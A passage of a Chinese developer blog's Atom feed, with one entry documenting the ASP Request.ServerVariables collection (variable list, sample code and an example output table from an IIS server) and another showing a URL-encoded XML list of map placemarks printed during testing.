		  <summary type="html"><![CDATA[语法 <BR>Request.ServerVariables (server environment variable) <BR><BR>参数 <BR>服务器环境变量 <BR>指定要检索的服务器环境变量名。可以使用下面列出的值。变量 说明 <BR>ALL_HTTP 客户端发送的所有 HTTP 标题文件。 <BR>ALL_RAW 检索未处理表格中所有的标题。ALL_RAW 和 ALL_HTTP 不同，ALL_HTTP 在标题文件名前面放置 HTTP_ prefix，并且标题名称总是大写的。使用 ALL_RAW 时，标题名称和值只在客户端发送时才出现。 <BR>APPL_MD_PATH 检索 ISAPI DLL 的 (WAM) Application 的元数据库路径。 <BR>APPL_PHYSICAL_PATH 检索与元数据库路径相应的物理路径。IIS 通过将 APPL_MD_PATH 转换为物理（目录）路径以返回值。 <BR>AUTH_PASSWORD 该值输入到客户端的鉴定对话中。只有使用基本鉴定时，该变量才可用。 <BR>AUTH_TYPE 这是用户访问受保护的脚本时，服务器用于检验用户的验证方法。 <BR>AUTH_USER 未被鉴定的用户名。 <BR>CERT_COOKIE 客户端验证的唯一 ID，以字符串方式返回。可作为整个客户端验证的签字。 <BR>CERT_FLAGS 如有客户端验证，则 bit0 为 1。 <BR>如果客户端验证的验证人无效（不在服务器承认的 CA 列表中），bit1 被设置为 1。 <BR><BR>CERT_ISSUER 用户验证中的颁布者字段（O=MS，OU=IAS，CN=user name，C=USA）。 <BR>CERT_KEYSIZE 安全套接字层连接关键字的位数，如 128。 <BR>CERT_SECRETKEYSIZE 服务器验证私人关键字的位数。如 1024。 <BR>CERT_SERIALNUMBER 用户验证的序列号字段。 <BR>CERT_SERVER_ISSUER 服务器验证的颁发者字段。 <BR>CERT_SERVER_SUBJECT 服务器验证的主字段。 <BR>CERT_SUBJECT 客户端验证的主字段。 <BR>CONTENT_LENGTH 客户端发出内容的长度。 <BR>CONTENT_TYPE 内容的数据类型。同附加信息的查询一起使用，如 HTTP 查询 GET、 POST 和 PUT。 <BR>GATEWAY_INTERFACE 服务器使用的 CGI 规格的修订。格式为 CGI/revision。 <BR>HTTP_&lt;HeaderName&gt; HeaderName 存储在标题文件中的值。未列入该表的标题文件必须以 HTTP_ 作为前缀，以使 ServerVariables 集合检索其值。 <BR>注意 服务器将 HeaderName 中的下划线（_）解释为实际标题中的破折号。例如，如果您指定 HTTP_MY_HEADER，服务器将搜索以 MY-HEADER 为名发送的标题文件。 <BR><BR>HTTPS 如果请求穿过安全通道（SSL），则返回 ON。如果请求来自非安全通道，则返回 OFF。 <BR>HTTPS_KEYSIZE 安全套接字层连接关键字的位数，如 128。 <BR>HTTPS_SECRETKEYSIZE 服务器验证私人关键字的位数。如 1024。 <BR>HTTPS_SERVER_ISSUER 服务器验证的颁发者字段。 <BR>HTTPS_SERVER_SUBJECT 服务器验证的主字段。 <BR>INSTANCE_ID 文本格式 IIS 实例的 ID。如果实例 ID 为 1，则以字符形式出现。使用该变量可以检索请求所属的（元数据库中）Web 服务器实例的 ID。 <BR>INSTANCE_META_PATH 响应请求的 IIS 实例的元数据库路径。 <BR>LOCAL_ADDR 返回接受请求的服务器地址。如果在绑定多个 IP 地址的多宿主机器上查找请求所使用的地址时，这条变量非常重要。 <BR>LOGON_USER 用户登录 Windows NT&reg; 的帐号。 <BR>PATH_INFO 客户端提供的额外路径信息。可以使用这些虚拟路径和 PATH_INFO 服务器变量访问脚本。如果该信息来自 URL，在到达 CGI 脚本前就已经由服务器解码了。 <BR>PATH_TRANSLATED PATH_INFO 转换后的版本，该变量获取路径并进行必要的由虚拟至物理的映射。 <BR>QUERY_STRING 查询 HTTP 请求中问号（?）后的信息。 <BR>REMOTE_ADDR 发出请求的远程主机的 IP 地址。 <BR>REMOTE_HOST 发出请求的主机名称。如果服务器无此信息，它将设置为空的 MOTE_ADDR 变量。 <BR>REMOTE_USER 用户发送的未映射的用户名字符串。该名称是用户实际发送的名称，与服务器上验证过滤器修改过后的名称相对。 <BR>REQUEST_METHOD 该方法用于提出请求。相当于用于 HTTP 的 GET、HEAD、POST 等等。 <BR>SCRIPT_NAME 执行脚本的虚拟路径。用于自引用的 URL。 <BR>SERVER_NAME 出现在自引用 UAL 中的服务器主机名、DNS 化名或 IP 地址。 <BR>SERVER_PORT 发送请求的端口号。 <BR>SERVER_PORT_SECURE 包含 0 或 1 的字符串。如果安全端口处理了请求，则为 1，否则为 0。 <BR>SERVER_PROTOCOL 请求信息协议的名称和修订。格式为 protocol/revision 。 <BR>SERVER_SOFTWARE 应答请求并运行网关的服务器软件的名称和版本。格式为 name/version 。 <BR>URL 提供 URL 的基本部分。 <BR><BR><BR>注释 <BR>如果客户端发送的标题文件在上述表格中找不到，可以在调用 Request.ServerVariables 中给标题文件名加上 HTTP_ 的前缀以检索其值。例如，如果客户端发送标题文件 <BR><BR>SomeNewHeader:SomeNewValue <BR><BR>您可以通过使用下面的语法检索 SomeNewValue <BR><BR>&lt;% Request.ServerVariables("HTTP_SomeNewHeader") %&gt; <BR><BR>您可使用重述符以循环遍历所有的服务器变量名。例如，使用下面的脚本打印出所有的服务器名。 <BR><BR>&lt;TABLE&gt; <BR>&lt;TR&gt;&lt;TD&gt;&lt;B&gt;Server Variable&lt;/B&gt;&lt;/TD&gt;&lt;TD&gt;&lt;B&gt;Value&lt;/B&gt;&lt;/TD&gt;&lt;/TR&gt; <BR>&lt;% For Each name In Request.ServerVariables %&gt; <BR>&lt;TR&gt;&lt;TD&gt; &lt;%= name %&gt; &lt;/TD&gt;&lt;TD&gt; &lt;%= Request.ServerVariables(name) %&gt; &lt;/TD&gt;&lt;/TR&gt; <BR>&lt;/TABLE&gt; <BR>&lt;% Next %&gt; <BR><BR>示例 <BR>下面的例子使用 Request 对象显示一些服务器变量。 <BR><BR>&lt;HTML&gt; <BR>&lt;!-- This example displays the content of several ServerVariables. --&gt; <BR>ALL_HTTP server variable = <BR>&lt;%= Request.ServerVariables("ALL_HTTP") %&gt; &lt;BR&gt; <BR>CONTENT_LENGTH server variable = <BR>&lt;%= Request.ServerVariables("CONTENT_LENGTH") %&gt; &lt;BR&gt; <BR>CONTENT_TYPE server variable = <BR>&lt;%= Request.ServerVariables("CONTENT_TYPE") %&gt; &lt;BR&gt; <BR>QUERY_STRING server variable = <BR>&lt;%= Request.ServerVariables("QUERY_STRING") %&gt; &lt;BR&gt; <BR>SERVER_SOFTWARE server variable = <BR>&lt;%= Request.ServerVariables("SERVER_SOFTWARE") %&gt; &lt;BR&gt; <BR>&lt;/HTML&gt; <BR><BR>下一个示例使用 ServerVariables 集合将服务器名插入一个超文本链接。 <BR><BR>&lt;A HREF = "http://&lt;%= Request.ServerVariables("SERVER_NAME") %&gt; <BR>/scripts/MyPage.asp"&gt;Link to MyPage.asp&lt;/A&gt; <BR><BR><BR>
<TABLE class=tbl1 cellSpacing=1 cellPadding=2 width=600 border=0>
<TBODY>
<TR>
<TD bgColor=#c8872f>
<TABLE cellSpacing=0 cellPadding=0 width="100%" border=0>
<TBODY>
<TR>
<TD><FONT face=webdings color=#ffffff>8</FONT><FONT color=#ffffff><STRONG> ServerVariables变量列表 :::...</STRONG></FONT> </TD>
<TD style="WIDTH: 14px; HEIGHT: 21px" align=right><STRONG><FONT color=#f3e4cf></FONT></STRONG></TD></TR></TBODY></TABLE></TD></TR>
<TR>
<TD>
<TABLE cellSpacing=1 cellPadding=3 bgColor=#d59b4f border=0>
<TBODY>
<TR bgColor=#ebd0ab>
<TD class=td1><FONT color=#ffffff>&nbsp;变量名</FONT> </TD>
<TD class=td1 width=511><FONT color=#ffffff>&nbsp;值</FONT> </TD></TR>
<TR bgColor=#fcf8f1>
<TD width=224><FONT color=#2e2763>&nbsp;ALL_HTTP</FONT> </TD>
<TD>HTTP_ACCEPT:*/* <BR>HTTP_ACCEPT_LANGUAGE:zh-cn <BR>HTTP_CONNECTION:Keep-Alive <BR>HTTP_HOST:www.ccopus.com <BR>HTTP_REFERER:http://www.ccopus.com/ <BR>HTTP_USER_AGENT:Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322) <BR>HTTP_COOKIE:cc_7_visited_site_cocoon=1; cc_7_return_site_cocoon=1; ASPSESSIONIDCQAASBRS=FDHHJKIDJJIHAEOJOKKJBACB <BR>HTTP_ACCEPT_ENCODING:gzip, deflate <BR>HTTP_X_REWRITE_URL:/code/serverVariables.asp <BR></TD></TR>
<TR bgColor=#fcf8f1>
<TD width=224><FONT color=#2e2763>&nbsp;ALL_RAW</FONT> </TD>
<TD>Accept: */* <BR>Accept-Language: zh-cn <BR>Connection: Keep-Alive <BR>Host: www.ccopus.com <BR>Referer: http://www.ccopus.com/ <BR>User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322) <BR>Cookie: cc_7_visited_site_cocoon=1; cc_7_return_site_cocoon=1; ASPSESSIONIDCQAASBRS=FDHHJKIDJJIHAEOJOKKJBACB <BR>Accept-Encoding: gzip, deflate <BR>X-Rewrite-URL: /code/serverVariables.asp <BR></TD></TR>
<TR bgColor=#fcf8f1>
<TD width=224><FONT color=#2e2763>&nbsp;APPL_MD_PATH</FONT> </TD>
<TD>/LM/W3SVC/3/Root</TD></TR>
<TR bgColor=#fcf8f1>
<TD width=224><FONT color=#2e2763>&nbsp;APPL_PHYSICAL_PATH</FONT> </TD>
<TD>F:\Sunrise_Chen\</TD></TR>
<TR bgColor=#fcf8f1>
<TD width=224><FONT color=#2e2763>&nbsp;AUTH_PASSWORD</FONT> </TD>
<TD>&nbsp;</TD></TR>
<TR bgColor=#fcf8f1>
<TD width=224><FONT color=#2e2763>&nbsp;AUTH_TYPE</FONT> </TD>
<TD>&nbsp;</TD></TR>
<TR bgColor=#fcf8f1>
<TD width=224><FONT color=#2e2763>&nbsp;AUTH_USER</FONT> </TD>
<TD>&nbsp;</TD></TR>
<TR bgColor=#fcf8f1>
<TD width=224><FONT color=#2e2763>&nbsp;CERT_COOKIE</FONT> </TD>
<TD>&nbsp;</TD></TR>
<TR bgColor=#fcf8f1>
<TD width=224><FONT color=#2e2763>&nbsp;CERT_FLAGS</FONT> </TD>
<TD>&nbsp;</TD></TR>
<TR bgColor=#fcf8f1>
<TD width=224><FONT color=#2e2763>&nbsp;CERT_ISSUER</FONT> </TD>
<TD>&nbsp;</TD></TR>
<TR bgColor=#fcf8f1>
<TD width=224><FONT color=#2e2763>&nbsp;CERT_KEYSIZE</FONT> </TD>
<TD>&nbsp;</TD></TR>
<TR bgColor=#fcf8f1>
<TD width=224><FONT color=#2e2763>&nbsp;CERT_SECRETKEYSIZE</FONT> </TD>
<TD>&nbsp;</TD></TR>
<TR bgColor=#fcf8f1>
<TD width=224><FONT color=#2e2763>&nbsp;CERT_SERIALNUMBER</FONT> </TD>
<TD>&nbsp;</TD></TR>
<TR bgColor=#fcf8f1>
<TD width=224><FONT color=#2e2763>&nbsp;CERT_SERVER_ISSUER</FONT> </TD>
<TD>&nbsp;</TD></TR>
<TR bgColor=#fcf8f1>
<TD width=224><FONT color=#2e2763>&nbsp;CERT_SERVER_SUBJECT</FONT> </TD>
<TD>&nbsp;</TD></TR>
<TR bgColor=#fcf8f1>
<TD width=224><FONT color=#2e2763>&nbsp;CERT_SUBJECT</FONT> </TD>
<TD>&nbsp;</TD></TR>
<TR bgColor=#fcf8f1>
<TD width=224><FONT color=#2e2763>&nbsp;CONTENT_LENGTH</FONT> </TD>
<TD>0</TD></TR>
<TR bgColor=#fcf8f1>
<TD width=224><FONT color=#2e2763>&nbsp;CONTENT_TYPE</FONT> </TD>
<TD>&nbsp;</TD></TR>
<TR bgColor=#fcf8f1>
<TD width=224><FONT color=#2e2763>&nbsp;GATEWAY_INTERFACE</FONT> </TD>
<TD>CGI/1.1</TD></TR>
<TR bgColor=#fcf8f1>
<TD width=224><FONT color=#2e2763>&nbsp;HTTPS</FONT> </TD>
<TD>off</TD></TR>
<TR bgColor=#fcf8f1>
<TD width=224><FONT color=#2e2763>&nbsp;HTTPS_KEYSIZE</FONT> </TD>
<TD>&nbsp;</TD></TR>
<TR bgColor=#fcf8f1>
<TD width=224><FONT color=#2e2763>&nbsp;HTTPS_SECRETKEYSIZE</FONT> </TD>
<TD>&nbsp;</TD></TR>
<TR bgColor=#fcf8f1>
<TD width=224><FONT color=#2e2763>&nbsp;HTTPS_SERVER_ISSUER</FONT> </TD>
<TD>&nbsp;</TD></TR>
<TR bgColor=#fcf8f1>
<TD width=224><FONT color=#2e2763>&nbsp;HTTPS_SERVER_SUBJECT</FONT> </TD>
<TD>&nbsp;</TD></TR>
<TR bgColor=#fcf8f1>
<TD width=224><FONT color=#2e2763>&nbsp;INSTANCE_ID</FONT> </TD>
<TD>3</TD></TR>
<TR bgColor=#fcf8f1>
<TD width=224><FONT color=#2e2763>&nbsp;INSTANCE_META_PATH</FONT> </TD>
<TD>/LM/W3SVC/3</TD></TR>
<TR bgColor=#fcf8f1>
<TD width=224><FONT color=#2e2763>&nbsp;LOCAL_ADDR</FONT> </TD>
<TD>61.129.88.181</TD></TR>
<TR bgColor=#fcf8f1>
<TD width=224><FONT color=#2e2763>&nbsp;LOGON_USER</FONT> </TD>
<TD>&nbsp;</TD></TR>
<TR bgColor=#fcf8f1>
<TD width=224><FONT color=#2e2763>&nbsp;PATH_INFO</FONT> </TD>
<TD>/code/serverVariables.asp</TD></TR>
<TR bgColor=#fcf8f1>
<TD width=224><FONT color=#2e2763>&nbsp;PATH_TRANSLATED</FONT> </TD>
<TD>F:\Sunrise_Chen\code\serverVariables.asp</TD></TR>
<TR bgColor=#fcf8f1>
<TD width=224><FONT color=#2e2763>&nbsp;QUERY_STRING</FONT> </TD>
<TD>&nbsp;</TD></TR>
<TR bgColor=#fcf8f1>
<TD width=224><FONT color=#2e2763>&nbsp;REMOTE_ADDR</FONT> </TD>
<TD>220.186.155.88</TD></TR>
<TR bgColor=#fcf8f1>
<TD width=224><FONT color=#2e2763>&nbsp;REMOTE_HOST</FONT> </TD>
<TD>220.186.155.88</TD></TR>
<TR bgColor=#fcf8f1>
<TD width=224><FONT color=#2e2763>&nbsp;REMOTE_USER</FONT> </TD>
<TD>&nbsp;</TD></TR>
<TR bgColor=#fcf8f1>
<TD width=224><FONT color=#2e2763>&nbsp;REQUEST_METHOD</FONT> </TD>
<TD>GET</TD></TR>
<TR bgColor=#fcf8f1>
<TD width=224><FONT color=#2e2763>&nbsp;SCRIPT_NAME</FONT> </TD>
<TD>/code/serverVariables.asp</TD></TR>
<TR bgColor=#fcf8f1>
<TD width=224><FONT color=#2e2763>&nbsp;SERVER_NAME</FONT> </TD>
<TD>www.ccopus.com</TD></TR>
<TR bgColor=#fcf8f1>
<TD width=224><FONT color=#2e2763>&nbsp;SERVER_PORT</FONT> </TD>
<TD>80</TD></TR>
<TR bgColor=#fcf8f1>
<TD width=224><FONT color=#2e2763>&nbsp;SERVER_PORT_SECURE</FONT> </TD>
<TD>0</TD></TR>
<TR bgColor=#fcf8f1>
<TD width=224><FONT color=#2e2763>&nbsp;SERVER_PROTOCOL</FONT> </TD>
<TD>HTTP/1.1</TD></TR>
<TR bgColor=#fcf8f1>
<TD width=224><FONT color=#2e2763>&nbsp;SERVER_SOFTWARE</FONT> </TD>
<TD>Microsoft-IIS/5.0</TD></TR>
<TR bgColor=#fcf8f1>
<TD width=224><FONT color=#2e2763>&nbsp;URL</FONT> </TD>
<TD>/code/serverVariables.asp</TD></TR>
<TR bgColor=#fcf8f1>
<TD width=224><FONT color=#2e2763>&nbsp;HTTP_ACCEPT</FONT> </TD>
<TD>*/*</TD></TR>
<TR bgColor=#fcf8f1>
<TD width=224><FONT color=#2e2763>&nbsp;HTTP_ACCEPT_LANGUAGE</FONT> </TD>
<TD>zh-cn</TD></TR>
<TR bgColor=#fcf8f1>
<TD width=224><FONT color=#2e2763>&nbsp;HTTP_CONNECTION</FONT> </TD>
<TD style="WIDTH: 515px; HEIGHT: 23px">Keep-Alive</TD></TR>
<TR bgColor=#fcf8f1>
<TD width=224><FONT color=#2e2763>&nbsp;HTTP_HOST</FONT> </TD>
<TD>www.ccopus.com</TD></TR>
<TR bgColor=#fcf8f1>
<TD width=224><FONT color=#2e2763>&nbsp;HTTP_REFERER</FONT> </TD>
<TD>http://www.ccopus.com/</TD></TR>
<TR bgColor=#fcf8f1>
<TD width=224><FONT color=#2e2763>&nbsp;HTTP_USER_AGENT</FONT> </TD>
<TD>Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)</TD></TR>
<TR bgColor=#fcf8f1>
<TD width=224><FONT color=#2e2763>&nbsp;HTTP_COOKIE</FONT> </TD>
<TD>cc_7_visited_site_cocoon=1; cc_7_return_site_cocoon=1; ASPSESSIONIDCQAASBRS=FDHHJKIDJJIHAEOJOKKJBACB</TD></TR>
<TR bgColor=#fcf8f1>
<TD width=224><FONT color=#2e2763>&nbsp;HTTP_ACCEPT_ENCODING</FONT> </TD>
<TD>gzip, deflate</TD></TR>
<TR bgColor=#fcf8f1>
<TD width=224><FONT color=#2e2763>&nbsp;HTTP_X_REWRITE_URL</FONT> </TD>
<TD>/code/serverVariables.asp</TD></TR></TBODY></TABLE></TD></TR>
<TR>
<TD bgColor=#c8872f height=5>&nbsp;</TD></TR></TBODY></TABLE><BR>]]></summary>
	  <link rel="alternate" type="text/html" href="http://www.openx.cn/default.asp?id=258" /> 
	  <id>http://www.openx.cn/default.asp?id=258</id> 
  </entry>	
		
  <entry>
	  <title type="html"><![CDATA[发现一个问题~打个记号]]></title>
	  <author>
		 <name>cxty</name>
		 <uri>http://www.openx.cn/</uri>
		 <email>cxty@qq.com</email>
	  </author>
	  <category term="" scheme="http://www.openx.cn/default.asp?cateID=3" label="网络开发" /> 
	  <updated>2006-04-13T17:31:48+08:00</updated>
	  <published>2006-04-13T17:31:48+08:00</published>
		  <summary type="html"><![CDATA[<P>今天在做测试的时候正好需要输出一下刚刚编码的值</P>
<P>&lt;xml&gt;&lt;Folder&gt;&lt;name&gt;&lt;![CDATA[ANDREW%E7%9A%84%E6%96%B0%E7%96%86%E4%B9%8B%E6%97%85%E4%B9%8B%E4%B8%80%20%3C1%3E]]&gt;&lt;/name&gt;&lt;description&gt;&lt;![CDATA[http%3A//www.himalayatours.com.cn/bbs/showthread.php%3Fs%3D1f77c2808baaa30cba2e2a5cf70da46b%26threadid%3D535%26perpage%3D15%26pagenumber%3D26]]&gt;&lt;/description&gt;&lt;Placemark&gt;&lt;name&gt;&lt;![CDATA[1%E5%8D%9A%E6%A0%BC%E8%BE%BE%E9%80%94%E4%B8%AD]]&gt;&lt;/name&gt;&lt;description&gt;&lt;![CDATA[undefined]]&gt;&lt;/description&gt;&lt;LookAt&gt;&lt;longitude&gt;88.2834&lt;/longitude&gt;&lt;latitude&gt;43.6843333333333&lt;/latitude&gt;&lt;range&gt;0&lt;/range&gt;&lt;/LookAt&gt;&lt;/Placemark&gt;&lt;Placemark&gt;&lt;name&gt;&lt;![CDATA[103syd%E6%B0%B4%E7%A3%A8%E6%B2%B3%E8%BE%B9%EF%BC%8C%E5%A4%A9%E6%B1%A0%E6%B2%9F%E5%8F%A3%EF%BC%8C%E5%AE%BF%E8%90%A5%E5%9C%B0]]&gt;&lt;/name&gt;&lt;description&gt;&lt;![CDATA[undefined]]&gt;&lt;/description&gt;&lt;LookAt&gt;&lt;longitude&gt;88.0525&lt;/longitude&gt;&lt;latitude&gt;43.8540666666667&lt;/latitude&gt;&lt;range&gt;0&lt;/range&gt;&lt;/LookAt&gt;&lt;/Placemark&gt;&lt;Placemark&gt;&lt;name&gt;&lt;![CDATA[141%E5%B0%8F%E6%B8%A0%E5%AD%90%E5%A4%A7%E8%8D%89%E5%8E%9F]]&gt;&lt;/name&gt;&lt;description&gt;&lt;![CDATA[undefined]]&gt;&lt;/description&gt;&lt;LookAt&gt;&lt;longitude&gt;87.104&lt;/longitude&gt;&lt;latitude&gt;43.4663166666667&lt;/latitude&gt;&lt;range&gt;0&lt;/range&gt;&lt;/LookAt&gt;&lt;/Placemark&gt;&lt;Placemark&gt;&lt;name&gt;&lt;![CDATA[142%E5%B0%8F%E6%B8%A0%E5%AD%90%E5%A4%A7%E8%8D%89%E5%8E%9F]]&gt;&lt;/name&gt;&lt;description&gt;&lt;![CDATA[undefined]]&gt;&lt;/description&gt;&lt;LookAt&gt;&lt;longitude&gt;87.1096&lt;/longitude&gt;&lt;latitude&gt;43.4556833333333&lt;/latitude&gt;&lt;range&gt;0&lt;/range&gt;&lt;/LookAt&gt;&lt;/Placemark&gt;&lt;Placemark&gt;&lt;name&gt;&lt;![CDATA[143%E5%B0%8F%E6%B8%A0%E5%AD%90%EF%BC%8D%E8%8F%8A%E8%8A%B1%E5%8F%B0%E9%80%94%E4%B8%AD%E7%82%B9]]&gt;&lt;/name&gt;&lt;description&gt;&lt;![CDATA[undefined]]&gt;&lt;/description&gt;&lt;LookAt&gt;&lt;longitude&gt;87.112&lt;/longitude&gt;&lt;latitude&gt;43.4551833333333&lt;/latitude&gt;&lt;range&gt;0&lt;/range&gt;&lt;/LookAt&gt;&lt;/Placemark&gt;&lt;Placemark&gt;&lt;name&gt;&lt;![CDATA[144%E7%9B%B4%E6%B2%9F]]&gt;&lt;/name&gt;&lt;description&gt;&lt;![CDATA[undefined]]&gt;&lt;/description&gt;&lt;LookAt&gt;&lt;longitude&gt;87.1357&lt;/longitude&gt;&lt;latitude&gt;43.4763333333333&lt;/latitude&gt;&lt;range&gt;0&lt;/range&gt;&lt;/LookAt&gt;&lt;/Placemark&gt;&lt;Placemark&gt;&lt;name&gt;&lt;![CDATA[146%E5%B0%8F%E6%B8%A0%E5%AD%90%E6%97%85%E6%B8%B8%E5%8C%BA]]&gt;&lt;/name&gt;&lt;description&gt;&lt;![CDATA[undefined]]&gt;&lt;/description&gt;&lt;LookAt&gt;&lt;longitude&gt;87.092&lt;/longitude&gt;&lt;latitude&gt;43.4716166666667&lt;/latitude&gt;&lt;range&gt;0&lt;/range&gt;&lt;/LookAt&gt;&lt;/Placemark&gt;&lt;Placemark&gt;&lt;name&gt;&lt;![CDATA[147%E5%B0%8F%E6%B8%A0%E5%AD%90%E6%97%85%E6%B8%B8%E5%8C%BA]]&gt;&lt;/name&gt;&lt;description&gt;&lt;![CDATA[undefined]]&gt;&lt;/description&gt;&lt;LookAt&gt;&lt;longitude&gt;87.092&lt;/longitude&gt;&lt;latitude&gt;43.4724166666667&lt;/latitude&gt;&lt;range&gt;0&lt;/range&gt;&lt;/LookAt&gt;&lt;/Placemark&gt;&lt;Placemark&gt;&lt;name&gt;&lt;![CDATA[148%E5%B0%8F%E6%B8%A0%E5%AD%90%E5%A4%A7%E8%8D%89%E5%8E%9F]]&gt;&lt;/name&gt;&lt;description&gt;&lt;![CDATA[undefined]]&gt;&lt;/description&gt;&lt;LookAt&gt;&lt;longitude&gt;87.1138&lt;/longitude&gt;&lt;latitude&gt;43.4576166666667&lt;/latitude&gt;&lt;range&gt;0&lt;/range&gt;&lt;/LookAt&gt;&lt;/Placemark&gt;&lt;Placemark&gt;&lt;name&gt;&lt;![CDATA[163%E8%8F%8A%E8%8A%B1%E5%8F%B0]]&gt;&lt;/name&gt;&lt;description&gt;&lt;![CDATA[undefined]]&gt;&lt;/description&gt;&lt;LookAt&gt;&lt;longitude&gt;87.1228&lt;/longitude&gt;&lt;latitude&gt;43.4549333333333&lt;/latitude&gt;&lt;range&gt;0&lt;/range&gt;&lt;/LookAt&gt;&lt;/Placemark&gt;&lt;Placemark&gt;&lt;name&gt;&lt;![CDATA[166%E8%B0%A2%E5%AE%B6%E6%B2%9F%EF%BC%8D%E5%B0%8F%E6%B8%A0%E5%AD%90%E9%80%94%E4%B8%AD%E7%82%B9]]&gt;&lt;/name&gt;&lt;description&gt;&lt;![CDATA[undefined]]&gt;&lt;/description&gt;&lt;LookAt&gt;&lt;longitude&gt;87.0429&lt;/longitude&gt;&lt;latitude&gt;43.5047666666667&lt;/latitude&gt;&lt;range&gt;0&lt;/range&gt;&lt;/LookAt&gt;&lt;/Placemark&gt;&lt;Placemark&gt;&lt;name&gt;&lt;![CDATA[167%E9%87%91%E6%B3%89%E6%B2%9F]]&gt;&lt;/name&gt;&lt;description&gt;&lt;![CDATA[undefined]]&gt;&lt;/description&gt;&lt;LookAt&gt;&lt;longitude&gt;87.1434&lt;/longitude&gt;&lt;latitude&gt;43.4503333333333&lt;/latitude&gt;&lt;range&gt;0&lt;/range&gt;&lt;/LookAt&gt;&lt;/Placemark&gt;&lt;Placemark&gt;&lt;name&gt;&lt;![CDATA[170%E7%94%98%E6%B2%9F%E4%B9%A1]]&gt;&lt;/name&gt;&lt;description&gt;&lt;![CDATA[undefined]]&gt;&lt;/description&gt;&lt;LookAt&gt;&lt;longitude&gt;87.1726&lt;/longitude&gt;&lt;latitude&gt;43.5122166666667&lt;/latitude&gt;&lt;range&gt;0&lt;/range&gt;&lt;/LookAt&gt;&lt;/Placemark&gt;&lt;Placemark&gt;&lt;name&gt;&lt;![CDATA[171%E7%94%98%E6%B2%9F%E4%B9%A1]]&gt;&lt;/name&gt;&lt;description&gt;&lt;![CDATA[undefined]]&gt;&lt;/description&gt;&lt;LookAt&gt;&lt;longitude&gt;87.1735&lt;/longitude&gt;&lt;latitude&gt;43.51285&lt;/latitude&gt;&lt;range&gt;0&lt;/range&gt;&lt;/LookAt&gt;&lt;/Placemark&gt;&lt;Placemark&gt;&lt;name&gt;&lt;![CDATA[172%E6%B0%B4%E8%A5%BF%E6%B2%9F%E5%BA%99%E5%B0%94%E6%B2%9F%E5%8F%A3]]&gt;&lt;/name&gt;&lt;description&gt;&lt;![CDATA[undefined]]&gt;&lt;/description&gt;&lt;LookAt&gt;&lt;longitude&gt;87.4752&lt;/longitude&gt;&lt;latitude&gt;43.4652166666667&lt;/latitude&gt;&lt;range&gt;0&lt;/range&gt;&lt;/LookAt&gt;&lt;/Placemark&gt;&lt;Placemark&gt;&lt;name&gt;&lt;![CDATA[175%E5%BA%99%E5%B0%94%E6%B2%9F%E9%80%94%E4%B8%AD%E7%82%B9]]&gt;&lt;/name&gt;&lt;description&gt;&lt;![CDATA[undefined]]&gt;&lt;/description&gt;&lt;LookAt&gt;&lt;longitude&gt;87.43170000000001&lt;/longitude&gt;&lt;latitude&gt;43.4313&lt;/latitude&gt;&lt;range&gt;0&lt;/range&gt;&lt;/LookAt&gt;&lt;/Placemark&gt;&lt;Placemark&gt;&lt;name&gt;&lt;![CDATA[176%E5%8D%97%E5%8F%B0%E5%AD%90%EF%BC%8D%EF%BC%8D%E7%99%BD%E6%9D%A8%E6%B2%9F%E7%A9%BF%E8%B6%8A%E5%87%BA%E5%8F%91%E7%82%B9]]&gt;&lt;/name&gt;&lt;description&gt;&lt;![CDATA[undefined]]&gt;&lt;/description&gt;&lt;LookAt&gt;&lt;longitude&gt;87.2123&lt;/longitude&gt;&lt;latitude&gt;43.4111833333333&lt;/latitude&gt;&lt;range&gt;0&lt;/range&gt;&lt;/LookAt&gt;&lt;/Placemark&gt;&lt;Placemark&gt;&lt;name&gt;&lt;![CDATA[177%E5%8D%97%E5%8F%B0%E5%AD%90%EF%BC%8D%EF%BC%8D%E7%99%BD%E6%9D%A8%E6%B2%9F%E9%80%94%E4%B8%AD%E7%82%B9]]&gt;&lt;/name&gt;&lt;description&gt;&lt;![CDATA[undefined]]&gt;&lt;/description&gt;&lt;LookAt&gt;&lt;longitude&gt;87.18770000000001&lt;/longitude&gt;&lt;latitude&gt;43.4198333333333&lt;/latitude&gt;&lt;range&gt;0&lt;/range&gt;&lt;/LookAt&gt;&lt;/Placemark&gt;&lt;Placemark&gt;&lt;name&gt;&lt;![CDATA[179%E5%93%88%E7%86%8A%E6%B2%9F%EF%BC%8D%E5%A4%A9%E6%B1%A0%E9%80%94%E4%B8%AD]]&gt;&lt;/name&gt;&lt;description&gt;&lt;![CDATA[undefined]]&gt;&lt;/description&gt;&lt;LookAt&gt;&lt;longitude&gt;88.00790000000001&lt;/longitude&gt;&lt;latitude&gt;43.8415333333333&lt;/latitude&gt;&lt;range&gt;0&lt;/range&gt;&lt;/LookAt&gt;&lt;/Placemark&gt;&lt;Placemark&gt;&lt;name&gt;&lt;![CDATA[1a%E4%B8%89%E4%B8%AA%E5%B1%B1]]&gt;&lt;/name&gt;&lt;description&gt;&lt;![CDATA[undefined]]&gt;&lt;/description&gt;&lt;LookAt&gt;&lt;longitude&gt;88.24679999999999&lt;/longitude&gt;&lt;latitude&gt;43.5961666666667&lt;/latitude&gt;&lt;range&gt;0&lt;/range&gt;&lt;/LookAt&gt;&lt;/Placemark&gt;&lt;Placemark&gt;&lt;name&gt;&lt;![CDATA[1b%E5%8D%9A%E6%A0%BC%E8%BE%BE%E9%80%94%E4%B8%AD]]&gt;&lt;/name&gt;&lt;description&gt;&lt;![CDATA[undefined]]&gt;&lt;/description&gt;&lt;LookAt&gt;&lt;longitude&gt;88.2672&lt;/longitude&gt;&lt;latitude&gt;43.6162166666667&lt;/latitude&gt;&lt;range&gt;0&lt;/range&gt;&lt;/LookAt&gt;&lt;/Placemark&gt;&lt;Placemark&gt;&lt;name&gt;&lt;![CDATA[1c%E5%8D%9A%E6%A0%BC%E8%BE%BE%E9%80%94%E4%B8%AD]]&gt;&lt;/name&gt;&lt;description&gt;&lt;![CDATA[undefined]]&gt;&lt;/description&gt;&lt;LookAt&gt;&lt;longitude&gt;88.2778&lt;/longitude&gt;&lt;latitude&gt;43.63755&lt;/latitude&gt;&lt;range&gt;0&lt;/range&gt;&lt;/LookAt&gt;&lt;/Placemark&gt;&lt;/Folder&gt;&lt;/xml&gt;</P>
<P>&nbsp;</P>
<P>(差不多8k这样)</P>
